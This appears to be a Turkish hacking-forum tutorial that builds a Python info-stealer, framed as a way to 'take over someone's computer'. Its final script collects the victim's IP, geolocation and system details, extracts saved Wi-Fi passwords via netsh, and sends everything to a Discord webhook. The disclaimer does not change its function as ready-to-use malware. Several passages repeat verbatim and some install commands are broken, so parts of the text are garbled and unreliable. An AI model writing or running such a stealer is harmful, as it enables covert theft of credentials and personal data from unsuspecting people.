Uzun süre ardından herkese selamlar ben supp.
*
Duyuru: Konu sadece merakların giderilmesi için açılan bir konudur. Kötü niyet ile kullanan olur ise, hakkım helal değildir dostlar.
*
Forumda uzun süredir karşıma çıkan, "birisinin bilgisayarını nasıl ele geçirebilirim", ya da "Instagram hesabını nasıl çalarım" gibi sorulara cevap niteliğinde bir konu olacak. Python'da temel seviyede kütüphane bilgisi ile bunu yapacağız. "Instagram hesabı çalabileceğiz"
Bu konuda fazla malware nedir, rat nedir solucan nedir gibi konulara değinmeyeceğim. Bildiğinizi varsayıyorum.
Gerekli Bigli:
JSON =(JavaScript Object Notation), veri depolamak ve veri alışverişi yapmak için kullanılan hafif bir veri formatıdır. JSON, insanlar tarafından okunması ve yazılması kolay olan bir metin tabanlı formattır. Genellikle web uygulamalarında veri alışverişi yapmak, yapılandırma dosyalarını saklamak ve veritabanı ile iletişim kurmak için kullanılır.
Örnek format:
JSON:
{
"veri": "değer1",
"veri2": "değer2",
"veri3": "değer3"
}
İlk olarak, IP ve konum bilgisini ele alalım. Bunun pek bir olayı yok, elimizde böyle bir site mevcut: https://ipinfo.io/json. Bu siteye istek atarak aradığımız şeylere ulaşabiliyoruz.
Python:
import json
import requests
infomartion = requests.get("https://ipinfo.io/json") # Siteye Get İsteği Gönderiyoruz
if infomartion.status_code == 200: # Response kodu 200 ise Verileri alıp json formatına çeviriyoruz
data = infomartion.json()
ip = data["ip"]
hostname = data["hostname"]
city = data["city"]
region = data["region"]
country = data["country"]
loc = data["loc"]
org = data["org"]
postal = data["postal"]
timezone = data["timezone"]
Kodumuzun ilk hali bu şekilde kısaca kodları tek tek açıklayacak isek
infomartion = requests.get("https://ipinfo.io/json") # Siteye Get İsteği Gönderiyoruz
Daha fazla açıklar isek:
"infomartion" Kelimesine = requests.get("https://ipinfo.io/json") kodunu tanımlıyoruz artık information ile ilgili bir işlem yapar isek belirtilen siteye get istedği gönderecektir.
Ardından üstteki verileri discord webhook a göndermek için bir formata sokuyoruz
infomartion = requests.get("https://ipinfo.io/json") # Siteye Get İsteği Gönderiyoruz
Daha fazla açıklar isek:
"infomartion" Kelimesine = requests.get("https://ipinfo.io/json") kodunu tanımlıyoruz artık information ile ilgili bir işlem yapar isek belirtilen siteye get istedği gönderecektir.
Ardından üstteki verileri discord webhook a göndermek için bir formata sokuyoruz
Python:
payload = {
'content': f'''
İP Adress {ip}
Hostname {hostname}
City {city}
Region {region}
Country {country}
Location {loc}
Organization {org}
Postal Code {postal}
Timezone {timezone}'''
}
Burada verileri düzenledik; yani webhook'a göndereceğimiz veriler burada kaydediliyor.
Size kalmış bir şey; ben syntax olarak bunu tercih ettim, ama bu kısmı aşağıdaki gibi de yapabiliriz.
Size kalmış bir şey; ben syntax olarak bunu tercih ettim, ama bu kısmı aşağıdaki gibi de yapabiliriz.
Python:
print("ip:" + ip)
print(ip)
print(f"İp: {ip}")
Örnek Olursa birisinin başında Timezone yazıyor diğerinde sadece timezone değeri yazıyor
Şimdi gelelim webhook kısmına, kodumuz:
Python:
import json
import requests
# Bilgilerin gönderileceği webhook adresi ve ip bilgisnin alınacağı site
infomartion = requests.get("https://ipinfo.io/json")
webhook = ""
# İnternet bağlantısı var ise veriler gönderilmek için hazırlanıyor
if infomartion.status_code == 200:
data = infomartion.json()
ip = data["ip"]
city = data["city"]
region = data["region"]
country = data["country"]
loc = data["loc"]
org = data["org"]
postal = data["postal"]
timezone = data["timezone"]
payload = {
'content': f'''
İP Adress {ip}
City {city}
Region {region}
Country {country}
Location {loc}
Organization {org}
Postal Code {postal}
Timezone {timezone}'''
}
# İp Bilgileirnin webhook adresine gönderildiği kısım
def ipinfo():
json_payload = json.dumps(payload)
response = requests.post(webhook, data=json_payload, headers={'Content-Type': 'application/json'})
ipinfo()
Burası biraz karışık gelebilir
Burada üst tarafta da dediğim gibi verileri json olarak çektik
Python:
infomartion = requests.get("https://ipinfo.io/json")
# İnternet bağlantısı var ise veriler gönderilmek için hazırlanıyor
if infomartion.status_code == 200:
data = infomartion.json()
Bu Kısımda json verilini uygun şekilde aktarıyoruz.
Python:
payload = {
'content': f'''
İP Adress {ip}
City {city}
Region {region}
Country {country}
Location {loc}
Organization {org}
Postal Code {postal}
Timezone {timezone}'''
}
Bu kısımda da verinin tamamını JSON haline çeviriyoruz. json.dumps ile bu verileri JSON formatına çevirmemize yarıyor. Yani, Timezone gibi bilgi kısımlarını da JSON formatına çeviriyoruz.
Print ile yazdırmıştık, hatırlarsanız süslü parantez dışındaki veriler.
Print ile yazdırmıştık, hatırlarsanız süslü parantez dışındaki veriler.
Python:
def ipinfo():
json_payload = json.dumps(payload)
response = requests.post(webhook, data=json_payload, headers={'Content-Type': 'application/json'})
Gelelim Veriyi gönderdiğimiz kısmın detaylarına
Bu kısımda ise webhook adresine post isteği gönderiyoruz. Gönderilecek veri üst tarafta kullandığımız json_payload'tir. Gönderilecek verinin türü ise JSON olduğu için Content-Type başlığını application/json olarak belirliyoruz.
Hehe! Göründüğü gibi verilerimiz başarı ile elimize ulaşmış bulunmakta.
Normalde konuyu burada sonlandıracaktım, ama ek olarak 1-2 adet özellik daha eklemeyi göstereceğim.
Burada "platform" kütüphanesi kullanarak sistem hakkında bazı bilgiler öğreneceğiz.
Python:
response = requests.post(webhook, data=json_payload, headers={'Content-Type': 'application/json'})
Bu kısımda ise webhook adresine post isteği gönderiyoruz. Gönderilecek veri üst tarafta kullandığımız json_payload'tir. Gönderilecek verinin türü ise JSON olduğu için Content-Type başlığını application/json olarak belirliyoruz.
Hehe! Göründüğü gibi verilerimiz başarı ile elimize ulaşmış bulunmakta.
Normalde konuyu burada sonlandıracaktım, ama ek olarak 1-2 adet özellik daha eklemeyi göstereceğim.
Burada "platform" kütüphanesi kullanarak sistem hakkında bazı bilgiler öğreneceğiz.
Python:
def get_and_send_os_info(webhook):
os_info = (
f"Kullanılan işletim sistemi: {platform.platform()}\n"
f"İşletim sistemi adı: {platform.system()}\n"
f"İşletim sistemi sürümünü: {platform.release()}\n"
f"İşletim sistemi sürüm detaylarını: {platform.version()}\n"
f'Platform işlemcisi: {platform.processor()}\n'
f'Platform mimarisi: {platform.architecture()}\n'
f'Makine tipi: {platform.machine()}\n'
f'Sistem ağ adı: {platform.node()}\n'
f'Platform bilgisi: {platform.platform()}\n'
f'Platform işlemcisi: {platform.platform()}\n'
f'Sistem bilgisi: {platform.system()}'
)
payload = {
"content": os_info
}
headers = {
"Content-Type": "application/json"
}
response = requests.post(webhook, data=json.dumps(payload), headers=headers)
Burada da anlatacak pek bir kısım mevcut değil. Platform kütüphanesini kullanarak sistem hakkında bilgi ediniyoruz. dökümantasyonu okuyarak öğrenebilirsiniz.
*
Sadece webhook kısmına webhook bilgisini girer iseniz çalışacak bir kod
Özellikler:
1- İşletim sistmei hakkında bilgi toplar
2- İp Konum lokasyon biglilerini veriir
3- Bilgisayarın bağlandığı kayıtlı wifi şifrelerini çekebilirsiniz
*
Sadece webhook kısmına webhook bilgisini girer iseniz çalışacak bir kod
Özellikler:
1- İşletim sistmei hakkında bilgi toplar
2- İp Konum lokasyon biglilerini veriir
3- Bilgisayarın bağlandığı kayıtlı wifi şifrelerini çekebilirsiniz
Python:
# Gerekeli Kütüphaneler
import subprocess
import platform
import json
import requests
import os
# Gerekli Kütüphanerlin Yüklenmesi
def library():
os.system("pip install os")
os.system("pip install requests")
os.system("pip install subprocess")
os.system("pip install platform")
os.system("pip instlal json")
library()
# Bilgilerin gönderileceği webhook adresi ve ip bilgisnin alınacağı site
infomartion = requests.get("https://ipinfo.io/json")
webhook = ""
# İnternet bağlantısı var ise veriler gönderilmek için hazırlanıyor
if infomartion.status_code == 200:
data = infomartion.json()
ip = data["ip"]
hostname = data["hostname"]
city = data["city"]
region = data["region"]
country = data["country"]
loc = data["loc"]
org = data["org"]
postal = data["postal"]
timezone = data["timezone"]
payload = {
'content': f'''
İP Adress {ip}
Hostname {hostname}
City {city}
Region {region}
Country {country}
Location {loc}
Organization {org}
Postal Code {postal}
Timezone {timezone}'''
}
# İp Bilgileirnin webhook adresine gönderildiği kısım
def ipinfo():
json_payload = json.dumps(payload)
response = requests.post(webhook, data=json_payload, headers={'Content-Type': 'application/json'})
# Pc nin bağlandığı wifi ağlarının şifreleirni çektiği çekip webhook a gönderdiği kısım
def wifiinfo():
logingo = subprocess.run(['netsh', 'wlan', 'show', 'profiles'], stdout=subprocess.PIPE)
outinfo = logingo.stdout.decode('utf-8')
profiles = []
for line in outinfo.split('\n'):
if 'User Profile' in line:
profile_prefix_space = line.split(':')[1]
profile = profile_prefix_space[1:]
profiles.append(profile)
for profile in profiles:
profile_details = subprocess.run(['netsh', 'wlan', 'show', 'profile', profile[:-1], 'key=clear'], stdout=subprocess.PIPE)
details = profile_details.stdout.decode('utf-8')
for line in details.split('\n'):
if 'Key Content' in line:
pwd_with_space = line.split(':')[1]
pwd = pwd_with_space[1:]
print_line = " ----------------- " + pwd
print(profile)
print(print_line)
message = {
'content': f"SSID: {profile}\nPassword: {pwd}"
}
requests.post(webhook, json=message)
def get_and_send_os_info(webhook):
os_info = (
f"Kullanılan işletim sistemi: {platform.platform()}\n"
f"İşletim sistemi adı: {platform.system()}\n"
f"İşletim sistemi sürümünü: {platform.release()}\n"
f"İşletim sistemi sürüm detaylarını: {platform.version()}\n"
f'Platform işlemcisi: {platform.processor()}\n'
f'Platform mimarisi: {platform.architecture()}\n'
f'Makine tipi: {platform.machine()}\n'
f'Sistem ağ adı: {platform.node()}\n'
f'Platform bilgisi: {platform.platform()}\n'
f'Platform işlemcisi: {platform.platform()}\n'
f'Sistem bilgisi: {platform.system()}'
)
payload = {
"content": os_info
}
headers = {
"Content-Type": "application/json"
}
response = requests.post(webhook, data=json.dumps(payload), headers=headers)
# Fonksiyonların Çağırıldığı Kısım ve basit bir hata ayıklama
try:
ipinfo()
except:
pass
try:
wifiinfo()
except:
pass
try:
get_and_send_os_info(webhook)
except:
pass
Konumuz buraya kadardı. Okuduğunuz için teşekkürler. Daha fazla şey anlatabilirdim, ama dediğim gibi kötüye kullanılabilir. Merak ettiğiniz özel sorular varsa, DM'den; normal soruları ise konunun altından yöneltebilirsiniz.
*İlham verdiği için @Kruvazör hocaya teşekkür ederim. *
Son düzenleme: